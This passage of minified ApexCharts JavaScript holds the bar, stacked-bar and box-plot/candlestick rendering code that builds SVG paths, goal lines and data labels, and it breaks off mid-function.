b=g.move(f,s),v=g.move(f,s),y=g.line(x-o,s);if(d.globals.previousPaths.length>0&&(v=this.barCtx.getPreviousPath(l,c,!1)),b=b+g.line(f,r)+g.line(x-o,r)+g.line(x-o,s)+("around"===d.config.plotOptions.bar.borderRadiusApplication?" Z":" z"),v=v+g.line(f,s)+y+y+y+y+y+g.line(f,s)+("around"===d.config.plotOptions.bar.borderRadiusApplication?" Z":" z"),this.shouldApplyRadius(l)&&(b=g.roundPathCorners(b,d.config.plotOptions.bar.borderRadius)),d.config.chart.stacked){var w=this.barCtx;d.globals.hasSeriesGroups&&n&&(w=this.barCtx[n]),w.yArrj.push(r),w.yArrjF.push(Math.abs(s-r)),w.yArrjVal.push(this.barCtx.series[h][c])}return{pathTo:b,pathFrom:v}}},{key:"getBarpaths",value:function(t){var e,i=t.barYPosition,a=t.barHeight,s=t.x1,r=t.x2,o=t.strokeWidth,n=t.seriesGroup,l=t.realIndex,h=t.i,c=t.j,d=t.w,g=new m(this.barCtx.ctx);(o=Array.isArray(o)?o[l]:o)||(o=0);var u=i,p=a;null!==(e=d.config.series[l].data[c])&&void 0!==e&&e.barHeightOffset&&(u=i-d.config.series[l].data[c].barHeightOffset/2,p=a+d.config.series[l].data[c].barHeightOffset);var f=u,x=u+p;s+=.001,r+=.001;var b=g.move(s,f),v=g.move(s,f);d.globals.previousPaths.length>0&&(v=this.barCtx.getPreviousPath(l,c,!1));var y=g.line(s,x-o);if(b=b+g.line(r,f)+g.line(r,x-o)+y+("around"===d.config.plotOptions.bar.borderRadiusApplication?" Z":" z"),v=v+g.line(s,f)+y+y+y+y+y+g.line(s,f)+("around"===d.config.plotOptions.bar.borderRadiusApplication?" Z":" z"),this.shouldApplyRadius(l)&&(b=g.roundPathCorners(b,d.config.plotOptions.bar.borderRadius)),d.config.chart.stacked){var w=this.barCtx;d.globals.hasSeriesGroups&&n&&(w=this.barCtx[n]),w.xArrj.push(r),w.xArrjF.push(Math.abs(s-r)),w.xArrjVal.push(this.barCtx.series[h][c])}return{pathTo:b,pathFrom:v}}},{key:"checkZeroSeries",value:function(t){for(var e=t.series,i=this.w,a=0;a<e.length;a++){for(var s=0,r=0;r<e[i.globals.maxValsInArrayIndex].length;r++)s+=e[a][r];0===s&&this.barCtx.zeroSerieses.push(a)}}},{key:"getXForValue",value:function(t,e){var i=!(arguments.length>2&&void 0!==arguments[2])||arguments[2]?e:null;return null!=t&&(i=e+t/this.barCtx.invertedYRatio-2*(this.barCtx.isReversed?t/this.barCtx.invertedYRatio:0)),i}},{key:"getYForValue",value:function(t,e){var i=!(arguments.length>2&&void 0!==arguments[2])||arguments[2]?e:null;return null!=t&&(i=e-t/this.barCtx.yRatio[this.barCtx.yaxisIndex]+2*(this.barCtx.isReversed?t/this.barCtx.yRatio[this.barCtx.yaxisIndex]:0)),i}},{key:"getGoalValues",value:function(t,i,a,s,r){var n=this,l=this.w,h=[],c=function(e,s){var r;h.push((o(r={},t,"x"===t?n.getXForValue(e,i,!1):n.getYForValue(e,a,!1)),o(r,"attrs",s),r))};if(l.globals.seriesGoals[s]&&l.globals.seriesGoals[s][r]&&Array.isArray(l.globals.seriesGoals[s][r])&&l.globals.seriesGoals[s][r].forEach((function(t){c(t.value,t)})),this.barCtx.barOptions.isDumbbell&&l.globals.seriesRange.length){var d=this.barCtx.barOptions.dumbbellColors?this.barCtx.barOptions.dumbbellColors:l.globals.colors,g={strokeHeight:"x"===t?0:l.globals.markers.size[s],strokeWidth:"x"===t?l.globals.markers.size[s]:0,strokeDashArray:0,strokeLineCap:"round",strokeColor:Array.isArray(d[s])?d[s][0]:d[s]};c(l.globals.seriesRangeStart[s][r],g),c(l.globals.seriesRangeEnd[s][r],e(e({},g),{},{strokeColor:Array.isArray(d[s])?d[s][1]:d[s]}))}return h}},{key:"drawGoalLine",value:function(t){var e=t.barXPosition,i=t.barYPosition,a=t.goalX,s=t.goalY,r=t.barWidth,o=t.barHeight,n=new m(this.barCtx.ctx),l=n.group({className:"apexcharts-bar-goals-groups"});l.node.classList.add("apexcharts-element-hidden"),this.barCtx.w.globals.delayedElements.push({el:l.node}),l.attr("clip-path","url(#gridRectMarkerMask".concat(this.barCtx.w.globals.cuid,")"));var h=null;return this.barCtx.isHorizontal?Array.isArray(a)&&a.forEach((function(t){var e=void 0!==t.attrs.strokeHeight?t.attrs.strokeHeight:o/2,a=i+e+o/2;h=n.drawLine(t.x,a-2*e,t.x,a,t.attrs.strokeColor?t.attrs.strokeColor:void 0,t.attrs.strokeDashArray,t.attrs.strokeWidth?t.attrs.strokeWidth:2,t.attrs.strokeLineCap),l.add(h)})):Array.isArray(s)&&s.forEach((function(t){var i=void 0!==t.attrs.strokeWidth?t.attrs.strokeWidth:r/2,a=e+i+r/2;h=n.drawLine(a-2*i,t.y,a,t.y,t.attrs.strokeColor?t.attrs.strokeColor:void 0,t.attrs.strokeDashArray,t.attrs.strokeHeight?t.attrs.strokeHeight:2,t.attrs.strokeLineCap),l.add(h)})),l}},{key:"drawBarShadow",value:function(t){var e=t.prevPaths,i=t.currPaths,a=t.color,s=this.w,r=e.x,o=e.x1,n=e.barYPosition,l=i.x,h=i.x1,c=i.barYPosition,d=n+i.barHeight,g=new m(this.barCtx.ctx),u=new x,p=g.move(o,d)+g.line(r,d)+g.line(l,c)+g.line(h,c)+g.line(o,d)+("around"===s.config.plotOptions.bar.borderRadiusApplication?" Z":" z");return g.drawPath({d:p,fill:u.shadeColor(.5,x.rgb2hex(a)),stroke:"none",strokeWidth:0,fillOpacity:1,classes:"apexcharts-bar-shadows"})}}]),t}(),yt=function(){function t(e,i){a(this,t),this.ctx=e,this.w=e.w;var s=this.w;this.barOptions=s.config.plotOptions.bar,this.isHorizontal=this.barOptions.horizontal,this.strokeWidth=s.config.stroke.width,this.isNullValue=!1,this.isRangeBar=s.globals.seriesRange.length&&this.isHorizontal,this.isVerticalGroupedRangeBar=!s.globals.isBarHorizontal&&s.globals.seriesRange.length&&s.config.plotOptions.bar.rangeBarGroupRows,this.isFunnel=this.barOptions.isFunnel,this.xyRatios=i,null!==this.xyRatios&&(this.xRatio=i.xRatio,this.initialXRatio=i.initialXRatio,this.yRatio=i.yRatio,this.invertedXRatio=i.invertedXRatio,this.invertedYRatio=i.invertedYRatio,this.baseLineY=i.baseLineY,this.baseLineInvertedY=i.baseLineInvertedY),this.yaxisIndex=0,this.seriesLen=0,this.pathArr=[];var r=new N(this.ctx);this.lastActiveBarSerieIndex=r.getActiveConfigSeriesIndex("desc",["bar","column"]);var o=r.getBarSeriesIndices(),n=new y(this.ctx);this.stackedSeriesTotals=n.getStackedSeriesTotals(this.w.config.series.map((function(t,e){return-1===o.indexOf(e)?e:-1})).filter((function(t){return-1!==t}))),this.barHelpers=new mt(this)}return r(t,[{key:"draw",value:function(t,i){var a=this.w,s=new m(this.ctx),r=new y(this.ctx,a);t=r.getLogSeries(t),this.series=t,this.yRatio=r.getLogYRatios(this.yRatio),this.barHelpers.initVariables(t);var o=s.group({class:"apexcharts-bar-series apexcharts-plot-series"});a.config.dataLabels.enabled&&this.totalItems>this.barOptions.dataLabels.maxItems&&console.warn("WARNING: DataLabels are enabled but there are too many to display. This may cause performance issue when rendering.");for(var n=0,l=0;n<t.length;n++,l++){var h,c,d,g,u=void 0,p=void 0,f=[],b=[],v=a.globals.comboCharts?i[n]:n,w=s.group({class:"apexcharts-series",rel:n+1,seriesName:x.escapeString(a.globals.seriesNames[v]),"data:realIndex":v});this.ctx.series.addCollapsedClassToSeries(w,v),t[n].length>0&&(this.visibleI=this.visibleI+1);var k=0,A=0;this.yRatio.length>1&&(this.yaxisIndex=v),this.isReversed=a.config.yaxis[this.yaxisIndex]&&a.config.yaxis[this.yaxisIndex].reversed;var S=this.barHelpers.initialPositions();p=S.y,k=S.barHeight,c=S.yDivision,g=S.zeroW,u=S.x,A=S.barWidth,h=S.xDivision,d=S.zeroH,this.horizontal||b.push(u+A/2);var C=s.group({class:"apexcharts-datalabels","data:realIndex":v});a.globals.delayedElements.push({el:C.node}),C.node.classList.add("apexcharts-element-hidden");var L=s.group({class:"apexcharts-bar-goals-markers",style:"pointer-events: none"}),P=s.group({class:"apexcharts-bar-shadows",style:"pointer-events: none"});a.globals.delayedElements.push({el:P.node}),P.node.classList.add("apexcharts-element-hidden");for(var I=0;I<a.globals.dataPoints;I++){var T=this.barHelpers.getStrokeWidth(n,I,v),M=null,X={indexes:{i:n,j:I,realIndex:v,bc:l},x:u,y:p,strokeWidth:T,elSeries:w};this.isHorizontal?(M=this.drawBarPaths(e(e({},X),{},{barHeight:k,zeroW:g,yDivision:c})),A=this.series[n][I]/this.invertedYRatio):(M=this.drawColumnPaths(e(e({},X),{},{xDivision:h,barWidth:A,zeroH:d})),k=this.series[n][I]/this.yRatio[this.yaxisIndex]);var z=this.barHelpers.getPathFillColor(t,n,I,v);if(this.isFunnel&&this.barOptions.isFunnel3d&&this.pathArr.length&&I>0){var E=this.barHelpers.drawBarShadow({color:"string"==typeof z&&-1===(null==z?void 0:z.indexOf("url"))?z:x.hexToRgba(a.globals.colors[n]),prevPaths:this.pathArr[this.pathArr.length-1],currPaths:M});E&&P.add(E)}this.pathArr.push(M);var Y=this.barHelpers.drawGoalLine({barXPosition:M.barXPosition,barYPosition:M.barYPosition,goalX:M.goalX,goalY:M.goalY,barHeight:k,barWidth:A});Y&&L.add(Y),p=M.y,u=M.x,I>0&&b.push(u+A/2),f.push(p),this.renderSeries({realIndex:v,pathFill:z,j:I,i:n,pathFrom:M.pathFrom,pathTo:M.pathTo,strokeWidth:T,elSeries:w,x:u,y:p,series:t,barHeight:M.barHeight?M.barHeight:k,barWidth:M.barWidth?M.barWidth:A,elDataLabelsWrap:C,elGoalsMarkers:L,elBarShadows:P,visibleSeries:this.visibleI,type:"bar"})}a.globals.seriesXvalues[v]=b,a.globals.seriesYvalues[v]=f,o.add(w)}return o}},{key:"renderSeries",value:function(t){var e=t.realIndex,i=t.pathFill,a=t.lineFill,s=t.j,r=t.i,o=t.groupIndex,n=t.pathFrom,l=t.pathTo,h=t.strokeWidth,c=t.elSeries,d=t.x,g=t.y,u=t.y1,p=t.y2,f=t.series,x=t.barHeight,b=t.barWidth,y=t.barXPosition,w=t.barYPosition,k=t.elDataLabelsWrap,A=t.elGoalsMarkers,S=t.elBarShadows,C=t.visibleSeries,L=t.type,P=this.w,I=new m(this.ctx);a||(a=this.barOptions.distributed?P.globals.stroke.colors[s]:P.globals.stroke.colors[e]),P.config.series[r].data[s]&&P.config.series[r].data[s].strokeColor&&(a=P.config.series[r].data[s].strokeColor),this.isNullValue&&(i="none");var T=s/P.config.chart.animations.animateGradually.delay*(P.config.chart.animations.speed/P.globals.dataPoints)/2.4,M=I.renderPaths({i:r,j:s,realIndex:e,pathFrom:n,pathTo:l,stroke:a,strokeWidth:h,strokeLineCap:P.config.stroke.lineCap,fill:i,animationDelay:T,initialSpeed:P.config.chart.animations.speed,dataChangeSpeed:P.config.chart.animations.dynamicAnimation.speed,className:"apexcharts-".concat(L,"-area")});M.attr("clip-path","url(#gridRectMask".concat(P.globals.cuid,")"));var X=P.config.forecastDataPoints;X.count>0&&s>=P.globals.dataPoints-X.count&&(M.node.setAttribute("stroke-dasharray",X.dashArray),M.node.setAttribute("stroke-width",X.strokeWidth),M.node.setAttribute("fill-opacity",X.fillOpacity)),void 0!==u&&void 0!==p&&(M.attr("data-range-y1",u),M.attr("data-range-y2",p)),new v(this.ctx).setSelectionFilter(M,e,s),c.add(M);var z=new vt(this).handleBarDataLabels({x:d,y:g,y1:u,y2:p,i:r,j:s,series:f,realIndex:e,groupIndex:o,barHeight:x,barWidth:b,barXPosition:y,barYPosition:w,renderedPath:M,visibleSeries:C});return null!==z.dataLabels&&k.add(z.dataLabels),z.totalDataLabels&&k.add(z.totalDataLabels),c.add(k),A&&c.add(A),S&&c.add(S),c}},{key:"drawBarPaths",value:function(t){var e,i=t.indexes,a=t.barHeight,s=t.strokeWidth,r=t.zeroW,o=t.x,n=t.y,l=t.yDivision,h=t.elSeries,c=this.w,d=i.i,g=i.j;if(c.globals.isXNumeric)e=(n=(c.globals.seriesX[d][g]-c.globals.minX)/this.invertedXRatio-a)+a*this.visibleI;else if(c.config.plotOptions.bar.hideZeroBarsWhenGrouped){var u=0,p=0;c.globals.seriesPercent.forEach((function(t,e){t[g]&&u++,e<d&&0===t[g]&&p++})),u>0&&(a=this.seriesLen*a/u),e=n+a*this.visibleI,e-=a*p}else e=n+a*this.visibleI;this.isFunnel&&(r-=(this.barHelpers.getXForValue(this.series[d][g],r)-r)/2),o=this.barHelpers.getXForValue(this.series[d][g],r);var f=this.barHelpers.getBarpaths({barYPosition:e,barHeight:a,x1:r,x2:o,strokeWidth:s,series:this.series,realIndex:i.realIndex,i:d,j:g,w:c});return c.globals.isXNumeric||(n+=l),this.barHelpers.barBackground({j:g,i:d,y1:e-a*this.visibleI,y2:a*this.seriesLen,elSeries:h}),{pathTo:f.pathTo,pathFrom:f.pathFrom,x1:r,x:o,y:n,goalX:this.barHelpers.getGoalValues("x",r,null,d,g),barYPosition:e,barHeight:a}}},{key:"drawColumnPaths",value:function(t){var e,i=t.indexes,a=t.x,s=t.y,r=t.xDivision,o=t.barWidth,n=t.zeroH,l=t.strokeWidth,h=t.elSeries,c=this.w,d=i.realIndex,g=i.i,u=i.j,p=i.bc;if(c.globals.isXNumeric){var f=d;c.globals.seriesX[d].length||(f=c.globals.maxValsInArrayIndex),c.globals.seriesX[f][u]&&(a=(c.globals.seriesX[f][u]-c.globals.minX)/this.xRatio-o*this.seriesLen/2),e=a+o*this.visibleI}else if(c.config.plotOptions.bar.hideZeroBarsWhenGrouped){var x=0,b=0;c.globals.seriesPercent.forEach((function(t,e){t[u]&&x++,e<g&&0===t[u]&&b++})),x>0&&(o=this.seriesLen*o/x),e=a+o*this.visibleI,e-=o*b}else e=a+o*this.visibleI;s=this.barHelpers.getYForValue(this.series[g][u],n);var v=this.barHelpers.getColumnPaths({barXPosition:e,barWidth:o,y1:n,y2:s,strokeWidth:l,series:this.series,realIndex:i.realIndex,i:g,j:u,w:c});return c.globals.isXNumeric||(a+=r),this.barHelpers.barBackground({bc:p,j:u,i:g,x1:e-l/2-o*this.visibleI,x2:o*this.seriesLen+l/2,elSeries:h}),{pathTo:v.pathTo,pathFrom:v.pathFrom,x:a,y:s,goalY:this.barHelpers.getGoalValues("y",null,n,g,u),barXPosition:e,barWidth:o}}},{key:"getPreviousPath",value:function(t,e){for(var i,a=this.w,s=0;s<a.globals.previousPaths.length;s++){var r=a.globals.previousPaths[s];r.paths&&r.paths.length>0&&parseInt(r.realIndex,10)===parseInt(t,10)&&void 0!==a.globals.previousPaths[s].paths[e]&&(i=a.globals.previousPaths[s].paths[e].d)}return i}}]),t}(),wt=function(t){n(s,t);var i=d(s);function s(){return a(this,s),i.apply(this,arguments)}return r(s,[{key:"draw",value:function(t,i){var a=this,s=this.w;this.graphics=new m(this.ctx),this.bar=new yt(this.ctx,this.xyRatios);var r=new y(this.ctx,s);t=r.getLogSeries(t),this.yRatio=r.getLogYRatios(this.yRatio),this.barHelpers.initVariables(t),"100%"===s.config.chart.stackType&&(t=s.globals.seriesPercent.slice()),this.series=t,this.barHelpers.initializeStackedPrevVars(this);for(var o=this.graphics.group({class:"apexcharts-bar-series apexcharts-plot-series"}),n=0,l=0,h=function(r,h){var c=void 0,d=void 0,g=void 0,u=void 0,p=-1;a.groupCtx=a,s.globals.seriesGroups.forEach((function(t,e){t.indexOf(s.config.series[r].name)>-1&&(p=e)})),-1!==p&&(a.groupCtx=a[s.globals.seriesGroups[p]]);var f=[],b=[],v=s.globals.comboCharts?i[r]:r;a.yRatio.length>1&&(a.yaxisIndex=v),a.isReversed=s.config.yaxis[a.yaxisIndex]&&s.config.yaxis[a.yaxisIndex].reversed;var m=a.graphics.group({class:"apexcharts-series",seriesName:x.escapeString(s.globals.seriesNames[v]),rel:r+1,"data:realIndex":v});a.ctx.series.addCollapsedClassToSeries(m,v);var y=a.graphics.group({class:"apexcharts-datalabels","data:realIndex":v}),w=a.graphics.group({class:"apexcharts-bar-goals-markers",style:"pointer-events: none"}),k=0,A=0,S=a.initialPositions(n,l,c,d,g,u);l=S.y,k=S.barHeight,d=S.yDivision,u=S.zeroW,n=S.x,A=S.barWidth,c=S.xDivision,g=S.zeroH,a.barHelpers.initializeStackedXYVars(a),1===a.groupCtx.prevY.length&&a.groupCtx.prevY[0].every((function(t){return isNaN(t)}))&&(a.groupCtx.prevY[0]=a.groupCtx.prevY[0].map((function(t){return g})),a.groupCtx.prevYF[0]=a.groupCtx.prevYF[0].map((function(t){return 0})));for(var C=0;C<s.globals.dataPoints;C++){var L=a.barHelpers.getStrokeWidth(r,C,v),P={indexes:{i:r,j:C,realIndex:v,bc:h},strokeWidth:L,x:n,y:l,elSeries:m,groupIndex:p,seriesGroup:s.globals.seriesGroups[p]},I=null;a.isHorizontal?(I=a.drawStackedBarPaths(e(e({},P),{},{zeroW:u,barHeight:k,yDivision:d})),A=a.series[r][C]/a.invertedYRatio):(I=a.drawStackedColumnPaths(e(e({},P),{},{xDivision:c,barWidth:A,zeroH:g})),k=a.series[r][C]/a.yRatio[a.yaxisIndex]);var T=a.barHelpers.drawGoalLine({barXPosition:I.barXPosition,barYPosition:I.barYPosition,goalX:I.goalX,goalY:I.goalY,barHeight:k,barWidth:A});T&&w.add(T),l=I.y,n=I.x,f.push(n),b.push(l);var M=a.barHelpers.getPathFillColor(t,r,C,v);m=a.renderSeries({realIndex:v,pathFill:M,j:C,i:r,groupIndex:p,pathFrom:I.pathFrom,pathTo:I.pathTo,strokeWidth:L,elSeries:m,x:n,y:l,series:t,barHeight:k,barWidth:A,elDataLabelsWrap:y,elGoalsMarkers:w,type:"bar",visibleSeries:0})}s.globals.seriesXvalues[v]=f,s.globals.seriesYvalues[v]=b,a.groupCtx.prevY.push(a.groupCtx.yArrj),a.groupCtx.prevYF.push(a.groupCtx.yArrjF),a.groupCtx.prevYVal.push(a.groupCtx.yArrjVal),a.groupCtx.prevX.push(a.groupCtx.xArrj),a.groupCtx.prevXF.push(a.groupCtx.xArrjF),a.groupCtx.prevXVal.push(a.groupCtx.xArrjVal),o.add(m)},c=0,d=0;c<t.length;c++,d++)h(c,d);return o}},{key:"initialPositions",value:function(t,e,i,a,s,r){var o,n,l,h,c=this.w;return this.isHorizontal?(l=(l=a=c.globals.gridHeight/c.globals.dataPoints)*parseInt(c.config.plotOptions.bar.barHeight,10)/100,-1===String(c.config.plotOptions.bar.barHeight).indexOf("%")&&(l=parseInt(c.config.plotOptions.bar.barHeight,10)),r=this.baseLineInvertedY+c.globals.padHorizontal+(this.isReversed?c.globals.gridWidth:0)-(this.isReversed?2*this.baseLineInvertedY:0),e=(a-l)/2):(h=i=c.globals.gridWidth/c.globals.dataPoints,h=c.globals.isXNumeric&&c.globals.dataPoints>1?(i=c.globals.minXDiff/this.xRatio)*parseInt(this.barOptions.columnWidth,10)/100:h*parseInt(c.config.plotOptions.bar.columnWidth,10)/100,-1===String(c.config.plotOptions.bar.columnWidth).indexOf("%")&&(h=parseInt(c.config.plotOptions.bar.columnWidth,10)),s=c.globals.gridHeight-this.baseLineY[this.yaxisIndex]-(this.isReversed?c.globals.gridHeight:0)+(this.isReversed?2*this.baseLineY[this.yaxisIndex]:0),t=c.globals.padHorizontal+(i-h)/2),{x:t,y:e,yDivision:a,xDivision:i,barHeight:null!==(o=c.globals.seriesGroups)&&void 0!==o&&o.length?l/c.globals.seriesGroups.length:l,barWidth:null!==(n=c.globals.seriesGroups)&&void 0!==n&&n.length?h/c.globals.seriesGroups.length:h,zeroH:s,zeroW:r}}},{key:"drawStackedBarPaths",value:function(t){for(var e,i=t.indexes,a=t.barHeight,s=t.strokeWidth,r=t.zeroW,o=t.x,n=t.y,l=t.groupIndex,h=t.seriesGroup,c=t.yDivision,d=t.elSeries,g=this.w,u=n+(-1!==l?l*a:0),p=i.i,f=i.j,x=0,b=0;b<this.groupCtx.prevXF.length;b++)x+=this.groupCtx.prevXF[b][f];var v=p;if(h&&(v=h.indexOf(g.config.series[p].name)),v>0){var m=r;this.groupCtx.prevXVal[v-1][f]<0?m=this.series[p][f]>=0?this.groupCtx.prevX[v-1][f]+x-2*(this.isReversed?x:0):this.groupCtx.prevX[v-1][f]:this.groupCtx.prevXVal[v-1][f]>=0&&(m=this.series[p][f]>=0?this.groupCtx.prevX[v-1][f]:this.groupCtx.prevX[v-1][f]-x+2*(this.isReversed?x:0)),e=m}else e=r;o=null===this.series[p][f]?e:e+this.series[p][f]/this.invertedYRatio-2*(this.isReversed?this.series[p][f]/this.invertedYRatio:0);var y=this.barHelpers.getBarpaths({barYPosition:u,barHeight:a,x1:e,x2:o,strokeWidth:s,series:this.series,realIndex:i.realIndex,seriesGroup:h,i:p,j:f,w:g});return this.barHelpers.barBackground({j:f,i:p,y1:u,y2:a,elSeries:d}),n+=c,{pathTo:y.pathTo,pathFrom:y.pathFrom,goalX:this.barHelpers.getGoalValues("x",r,null,p,f),barYPosition:u,x:o,y:n}}},{key:"drawStackedColumnPaths",value:function(t){var e=t.indexes,i=t.x,a=t.y,s=t.xDivision,r=t.barWidth,o=t.zeroH,n=t.groupIndex,l=t.seriesGroup,h=t.elSeries,c=this.w,d=e.i,g=e.j,u=e.bc;if(c.globals.isXNumeric){var p=c.globals.seriesX[d][g];p||(p=0),i=(p-c.globals.minX)/this.xRatio-r/2,c.globals.seriesGroups.length&&(i=(p-c.globals.minX)/this.xRatio-r/2*c.globals.seriesGroups.length)}for(var f,x=i+(-1!==n?n*r:0),b=0,v=0;v<this.groupCtx.prevYF.length;v++)b+=isNaN(this.groupCtx.prevYF[v][g])?0:this.groupCtx.prevYF[v][g];var m=d;if(l&&(m=l.indexOf(c.config.series[d].name)),m>0&&!c.globals.isXNumeric||m>0&&c.globals.isXNumeric&&c.globals.seriesX[d-1][g]===c.globals.seriesX[d][g]){var y,w,k,A=Math.min(this.yRatio.length+1,d+1);if(void 0!==this.groupCtx.prevY[m-1]&&this.groupCtx.prevY[m-1].length)for(var S=1;S<A;S++){var C;if(!isNaN(null===(C=this.groupCtx.prevY[m-S])||void 0===C?void 0:C[g])){k=this.groupCtx.prevY[m-S][g];break}}for(var L=1;L<A;L++){var P,I;if((null===(P=this.groupCtx.prevYVal[m-L])||void 0===P?void 0:P[g])<0){w=this.series[d][g]>=0?k-b+2*(this.isReversed?b:0):k;break}if((null===(I=this.groupCtx.prevYVal[m-L])||void 0===I?void 0:I[g])>=0){w=this.series[d][g]>=0?k:k+b-2*(this.isReversed?b:0);break}}void 0===w&&(w=c.globals.gridHeight),f=null!==(y=this.groupCtx.prevYF[0])&&void 0!==y&&y.every((function(t){return 0===t}))&&this.groupCtx.prevYF.slice(1,m).every((function(t){return t.every((function(t){return isNaN(t)}))}))?o:w}else f=o;a=this.series[d][g]?f-this.series[d][g]/this.yRatio[this.yaxisIndex]+2*(this.isReversed?this.series[d][g]/this.yRatio[this.yaxisIndex]:0):f;var T=this.barHelpers.getColumnPaths({barXPosition:x,barWidth:r,y1:f,y2:a,yRatio:this.yRatio[this.yaxisIndex],strokeWidth:this.strokeWidth,series:this.series,seriesGroup:l,realIndex:e.realIndex,i:d,j:g,w:c});return this.barHelpers.barBackground({bc:u,j:g,i:d,x1:x,x2:r,elSeries:h}),i+=s,{pathTo:T.pathTo,pathFrom:T.pathFrom,goalY:this.barHelpers.getGoalValues("y",null,o,d,g),barXPosition:x,x:c.globals.isXNumeric?i-s:i,y:a}}}]),s}(yt),kt=function(t){n(s,t);var i=d(s);function s(){return a(this,s),i.apply(this,arguments)}return r(s,[{key:"draw",value:function(t,i,a){var s=this,r=this.w,o=new m(this.ctx),n=r.globals.comboCharts?i:r.config.chart.type,l=new R(this.ctx);this.candlestickOptions=this.w.config.plotOptions.candlestick,this.boxOptions=this.w.config.plotOptions.boxPlot,this.isHorizontal=r.config.plotOptions.bar.horizontal;var h=new y(this.ctx,r);t=h.getLogSeries(t),this.series=t,this.yRatio=h.getLogYRatios(this.yRatio),this.barHelpers.initVariables(t);for(var c=o.group({class:"apexcharts-".concat(n,"-series apexcharts-plot-series")}),d=function(i){s.isBoxPlot="boxPlot"===r.config.chart.type||"boxPlot"===r.config.series[i].type;var n,h,d,g,u=void 0,p=void 0,f=[],b=[],v=r.globals.comboCharts?a[i]:i,m=o.group({class:"apexcharts-series",seriesName:x.escapeString(r.globals.seriesNames[v]),rel:i+1,"data:realIndex":v});s.ctx.series.addCollapsedClassToSeries(m,v),t[i].length>0&&(s.visibleI=s.visibleI+1);var y,w;s.yRatio.length>1&&(s.yaxisIndex=v);var k=s.barHelpers.initialPositions();p=k.y,y=k.barHeight,h=k.yDivision,g=k.zeroW,u=k.x,w=k.barWidth,n=k.xDivision,d=k.zeroH,b.push(u+w/2);for(var A=o.group({class:"apexcharts-datalabels","data:realIndex":v}),S=function(a){var o=s.barHelpers.getStrokeWidth(i,a,v),c=null,x={indexes:{i:i,j:a,realIndex:v},x:u,y:p,strokeWidth:o,elSeries:m};c=s.isHorizontal?s.drawHorizontalBoxPaths(e(e({},x),{},{yDivision:h,barHeight:y,zeroW:g})):s.drawVerticalBoxPaths(e(e({},x),{},{xDivision:n,barWidth:w,zeroH:d})),p=c.y,u=c.x,a>0&&b.push(u+w/2),f.push(p),c.pathTo.forEach((function(e,n){var h=!s.isBoxPlot&&s.candlestickOptions.wick.useFillColor?c.color[n]:r.globals.stroke.colors[i],d=l.fillPath({seriesNumber:v,dataPointIndex:a,color:c.color[n],value:t[i][a]});s.renderSeries({realIndex:v,pathFill:d,lineFill:h,j:a,i:i,pathFrom:c.pathFrom,pathTo:e,strokeWidth:o,elSeries:m,x:u,y:p,series:t,barHeight:y,barWidth:w,elDataLabelsWrap:A,visibleSeries:s.visibleI,type:r.config.chart.type})}))},C=0;C<r.globals.dataPoints;C++)S(C);r.globals.seriesXvalues[v]=b,r.globals.seriesYvalues[v]=f,c.add(m)},g=0;g<t.length;g++)d(g);return c}},{key:"drawVerticalBoxPaths",value:function(t){var e=t.indexes,i=t.x;t.y;var a=t.xDivision,s=t.barWidth,r=t.zeroH,o=t.strokeWidth,n=this.w,l=new m(this.ctx),h=e.i,c=e.j,d=!0,g=n.config.plotOptions.candlestick.colors.upward,u=n.config.plotOptions.candlestick.colors.downward,p="";this.isBoxPlot&&(p=[this.boxOptions.colors.lower,this.boxOptions.colors.upper]);var f=this.yRatio[this.yaxisIndex],x=e.realIndex,b=this.getOHLCValue(x,c),v=r,y=r;b.o>b.c&&(d=!1);var w=Math.min(b.o,b.c),k=Math.max(b.o,b.c),A=b.m;n.globals.isXNumeric&&(i=(n.globals.seriesX[x][c]-n.globals.minX)/this.xRatio-s/2);var S=i+s*this.visibleI;void 0===this.series[h][c]||null===this.series[h][c]?(w=r,k=r):(w=r-w/f,k=r-k/f,v=r-b.h/f,y=r-b.l/f,A=r-b.m/f);var C=l.move(S,r),L=l.move(S+s/2,w);return n.globals.previousPaths.length>0&&(L=this.getPreviousPath(x,c,!0)),C=this.isBoxPlot?[l.move(S,w)+l.line(S+s/2,w)+l.line(S+s/2,v)+l.line(S+s/4,v)+l.line(S+s-s/4,v)+l.line(S+s/2,v)+l.line(S+s/2,w)+l.line(S+s,w)+l.line(S+s,A)+l.line(S,A)+l.line(S,w+o/2),l.move(S,A)+l.line(S+s,A)+l.line(S+s,k)+l.line(S+s/2,k)+l.line(S+s/2,y)+l.line(S+s-s/4,y)+l.line(S+s/4,y)+l.line(S+s/2,y)+l.line(S+s/2,k)+l.line(S,k)+l.line(S,A)+"z"]:[l.move(S,k)+l.line(S+s/2,k)+l.line(S+s/2,v)+l.line(S+s/2,k)+l.line(S+s,k)+l.line(S+s,w)+l.line(S+s/2,w)+l.line(S+s/2,y)+l.line(S+s/2,w)+l.line(S,w)+l.line(S,k-o/2)],L+=l.move(S,w),n.globals.isXNumeric||(i+=a),{pathTo:C,pathFrom:L,x:i,y:k,barXPosition:S,color:this.isBoxPlot?p:d?[g]:[u]}}},{key:"drawHorizontalBoxPaths",value:function(t){var e=t.indexes;t.x;var i=t.y,a=t.yDivision,s=t.barHeight,r=t.zeroW,o=t.strokeWidth,n=this.w,l=new m(this.ctx),h=e.i,c=e.j,d=this.boxOptions.colors.lower;this.isBoxPlot&&(d=[this.boxOptions.colors.lower,this.boxOptions.colors.upper]);var g=this.invertedYRatio,u=e.realIndex,p=this.getOHLCValue(u,c),f=r,x=r,b=Math.min(p.o,p.c),v=Math.max(p.o,p.c),y=p.m;n.globals.isXNumeric&&(i=(n.globals.seriesX[u][c]-n.globals.minX)/this.invertedXRatio-s/2);var w=i+s*this.visibleI;void 0===this.series[h][c]||null===this.series[h][c]?(b=r,v=r):(b=r+b/g,v=r+v/g,f=r+p.h/g,x=r+p.l/g,y=r+p.m/g);var k=l.move(r,w),A=l.move(b,w+s/2);return n.globals.previousPaths.length>0&&(A=this.getPreviousPath(u,c,!0)),k=[l.move(b,w)+l.line(b,w+s/2)+l.line(f,w+s/2)+l.line(f,w+s/2-s/4)+l.line(f,w+s/2+s/4)+l.line(f,w+s/2)+l.line(b,w+s/2)+l.line(b,w+s)+l.line(y,w+s)+l.line(y,w)+l.line(b+o/2,w),l.move(y,w)+l.line(y,w+s)+l.line(v,w+s)+l.line(v,w+s/2)+l.line(x,w+s/2)+l.line(x,w+s-s/4)+l.line(x,w+s/4)+l.line(x,w+s/2)+l.line(v,w+s/2)+l.line(v,w)+l.line(y,w)+"z"],A+=l.move(b,w),n.globals.isXNumeric||(i+=a),{pathTo:k,pathFrom:A,x:v,y:i,barYPosition:w,color:d}}},{key:"getOHLCValue",value:function(t,e){var 